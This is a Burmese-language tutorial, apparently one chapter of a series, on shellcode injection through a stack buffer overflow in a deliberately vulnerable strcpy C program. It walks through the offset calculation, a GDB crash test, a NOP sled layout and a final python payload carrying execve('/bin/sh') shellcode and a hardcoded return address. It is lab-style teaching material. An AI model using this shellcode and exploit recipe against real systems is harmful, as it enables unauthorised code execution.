0x07- Shellcode Injection

Shellcode Injection ကိုေလ့လာမယ့္သူတစ္ေယာက္အေနနဲ႕ Shellcode ဘယ္လိုအလုပ္လုပ္တယ္ဆိုတာကို အရင္ post တုန္းကေရးခဲ့တဲ့ ဒီမွာ သြားဖတ္နိုင္ပါတယ္။

Shellcode ကို execve(“/bin/sh”) ကိုသံုးမယ္ ။

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Shellcode ေတြ ကိုယ္တိုင္မေရးခ်င္ရင္ ဖန္တီးေပးထားတဲ့ shellcode ေတြ ဒီမွာ သြားျပီးယူနိုင္ပါတယ္။

Vulnerable Program ( from dhavalkapil )

#include <stdio.h>
#include <string.h>

void func(char *name)
{
    char buf[100];
    strcpy(buf, name);
    printf("Welcome %s\n", buf);
}

int main(int argc, char *argv[])
{
    func(argv[1]);
    return 0;
}

Program ေတြကို က်ေနာ္မရွင္းျပေတာ့ပါဘူး။ အေရွ႕ခန္းေတြကို ဖတ္လာတဲ့လူအေနနဲ႕ ဒါဘာကိုဆိုလိုတယ္ဆိုတာ သိျပီးသားျဖစ္ပါတယ္။ ခုမွစတဲ့သူေတြကေတာ့ အစကေနပဲစဖတ္ေစခ်င္ပါတယ္။ ဒီအခန္းမွာ Shellcode Injection ကို ပဲ အဓိကထားေလ့လာသြားမွာျဖစ္ပါတယ္။

ထံုးစံအတိုင္း offset တြက္မယ္။

lea -0x6c(%ebp),%eax ဆိုေတာ့ 0x6c

108 + ebp (4 bytes) = 112

ဟုတ္မဟုတ္စစ္ၾကည့္မယ္။

r `python -c 'print "A"*112+"BBBB"+"C"*50'`

0x42424242 မွာ segmentation fault ျဖစ္သြားတယ္ဆိုေတာ့ B ရဲ႕ hexa value 42 ေတြ EIP ကို overwrite သြားတယ္ဆိုတာေတြ႕ရမယ္။ ဒါဆို က်ေနာ္တို႕ တြက္ထားတာလဲအုိေကျပီ။ ဒီလိုဆို Shellcode ကို ဘယ္မွာထည့္ရမလဲ?

Locating Shellcode

func က မထြက္ခင္ breakpoint ထားျပီး stack ကို ေသခ်ာျပန္ၾကည့္မယ္။

42 ေတြဟာ EIP ျဖစ္ျပီးေတာ့ သူ႕ေရွ႕ကေတာ့ ebp ျဖစ္တယ္ဆိုတာ က်ေနာ္တို႕သိတယ္။ Shellcode ကို 43 ေတြရဲ႕ေနရာမွာ က်ေနာ္တို႕ ထည့္ရင္ရနိုင္မလား?

 

ebp ထဲကေန 0x6c ကို နွုတ္လိုက္မယ္ဆိုရင္ input ရဲ႕အစကိုက်ေနာ္တို႕ရမွာျဖစ္တယ္။ဘာလို႕ esp ကိုမထုတ္လဲ? print esp ဆိုျပီးထုတ္ၾကည့္ခဲ့ေပမဲ့ input က esp က စတာမဟုတ္ဘူးျဖစ္ေနတယ္။

ဟိုး x/50x $esp ထုတ္ထားတဲ့ အေပၚကပံုေလးကိုျပန္ၾကည့္ရင္ 41 ေတြဘယ္ကိုစဝင္တယ္ဆိုတာရွင္းပါတယ္။

ဒီေနရာမွာ ဘယ္လို ထည့္မလဲဆိုတာေလးနည္နည္းေျပာမယ္။

Program ဟာ ပံုမွန္အတိုင္းအလုပ္လုပ္ေနရာကေန EIP ကို overwrite ထားတဲ့ေနရာကိုေရာက္သြားတယ္ဆိုပါေတာ့။ က်ေနာ္တို႕က input စတဲ့ေနရာကိုျပန္သြားခိုင္းမွရမယ္။ ဒီေနရာမွာ Shellcode ကိုတန္းထည့္လိုက္ရင္ ေနရာမွားတြက္ရင္မရေတာ့ဘူး ေနာက္တစ္ခုက အရမ္းတိက်ေနရေတာ့မယ္။ NOP ( No Operation ) \x90 ကုိထည့္လိုက္မယ္ဆိုရင္ eip ကေန ေရာက္လာတဲ့အခါမွာ NOP ေတြေပၚက်လာခဲ့ရင္ ဘာမွအလုပ္မလုပ္ပဲ ဒီတိုင္းဆက္သြားမယ္။ Shellcode ဆီေရာက္တဲ့အခါက်မွ ထအလုပ္လုပ္မယ္။ ဒီေတာ့ဘယ္လိုျဖစ္သြားမလဲ?

NOP (40 bytes ) + SHELLCODE ( 25 bytes) + JUNK ( 47 bytes) = 112
 
EIP = (ebp-0x6c) + 20

NOP (40 bytes ) + SHELLCODE ( 25 bytes) + JUNK ( 47 bytes) + EIP

ပံုေလးနဲ႕ျပထားတယ္

NOP ေတြေရွ႕မွာထည့္ထားျပီဆိုေတာ့ EIP မွာ ခုန ရလာတဲ့ ebp – 0x6c ကို 20 ေပါင္းလိုက္မယ္ ။ ရည္ရြယ္ခ်က္ကေတာ့ NOP ေတြရဲ႕ အလယ္ကိုျပန္သြားတာေပါ့။

0xbffff2fc + 14 (20 in dec) -> 0xbffff310 -> (little endian ) \x10\xf3\xff\xbf

ဒါဆို ေနာက္ဆံုးကဘယ္လိုျဖစ္သြားမလဲ?

`python -c ' print "\x90"*40+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
"+"A"*47+"\x10\xf3\xff\xbf"'`

ASLR ေတြဘာေတြကေတာ့ ေနာက္တစ္ခန္းေပါ့ ခဏနားထားဦးမယ္